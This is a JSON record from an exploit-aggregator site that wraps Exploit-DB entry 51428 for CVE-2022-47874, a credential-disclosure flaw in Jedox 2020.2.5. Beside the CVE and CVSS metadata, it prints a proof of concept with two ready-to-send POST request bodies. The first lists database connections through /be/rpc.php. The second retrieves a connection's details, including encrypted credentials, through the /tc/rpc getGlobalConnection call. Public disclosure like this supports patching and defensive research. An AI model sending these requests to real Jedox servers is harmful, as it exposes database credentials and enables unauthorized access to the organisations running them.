{"exploit":{"id":"EDB-51428","name":"Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls","description":"Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls","cves":["CVE-2022-47874"],"author":"Team Syslifters","published":"2023-05-05","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51428","path":"exploits/php/webapps/51428.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51428.txt","vulnerabilities":[{"id":"CVE-2022-47874","state":"PUBLISHED","title":null,"titleSource":null,"description":"Improper Access Control in /tc/rpc in Jedox GmbH Jedox 2020.2.5 allows remote authenticated users to view details of database connections via class 'com.jedox.etl.mngr.Connections' and method 'getGlobalConnection'.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-47874","cvss":{"version":"3.1","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-47874"},"updatedAt":"2025-01-30T15:13:52.277Z","retrievedAt":"2026-11-26T19:56:43.103Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51428.png?v=2","url":"https://exploitbin.com/exploits/EDB-51428","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51428/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51428/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls\n# Date: 28/04/2023\n# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL\n# Vendor Homepage: https://jedox.com\n# Version: Jedox 2020.2 (20.2.5) and older\n# CVE : CVE-2022-47874\n\n\nIntroduction\n=================\nImproper access controls in `/tc/rpc` allows remote authenticated users to view details of database connections via the class `com.jedox.etl.mngr.Connections` and the method `getGlobalConnection`. To exploit the vulnerability, the attacker must know the name of the database connection.\n\n\nWrite-Up\n=================\nSee [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.\n\n\nProof of Concept\n=================\n1) List all available database connections via `conn::ls` (see also: CVE-2022-47879):\n\n\tPATH: /be/rpc.php\n\tMETHOD: POST\n\tBODY:\n\t[\n\t\t[\n\t\t\t\"conn\",\n\t\t\t\"ls\",\n\t\t\t[\n\t\t\t\tnull,\n\t\t\t\tfalse,\n\t\t\t\ttrue,\n\t\t\t\t[\n\t\t\t\t\t\"type\",\n\t\t\t\t\t\"active\",\n\t\t\t\t\t\"description\"\n\t\t\t\t]\n\t\t\t]\n\t\t]\n\t]\n\n2) Retrieve details of a database connection (specify connection name via CONNECTION) including encrypted credentials using the Java RPC function `com.jedox.etl.mngr.Connection::getGlobalConnection`:\n\n\tPATH: /tc/rpc\n\tMETHOD: POST\n\tBODY:\n\t[\n\t\t[\n\t\t\t\"com.jedox.etl.mngr.Connections\",\n\t\t\t\"getGlobalConnection\",\n\t\t\t[\n\t\t\t\t\"<CONNECTION>\"\n\t\t\t]\n\t\t]\n\t]","sha256":"62381aea13a6b6088c6542c90adb1020f7ef58626345a8fc95ad35d2edffa082","bytes":1417,"fetchedAt":"2026-11-27T16:10:40.929Z","encoding":"utf-8 (display only; download retains original bytes)"}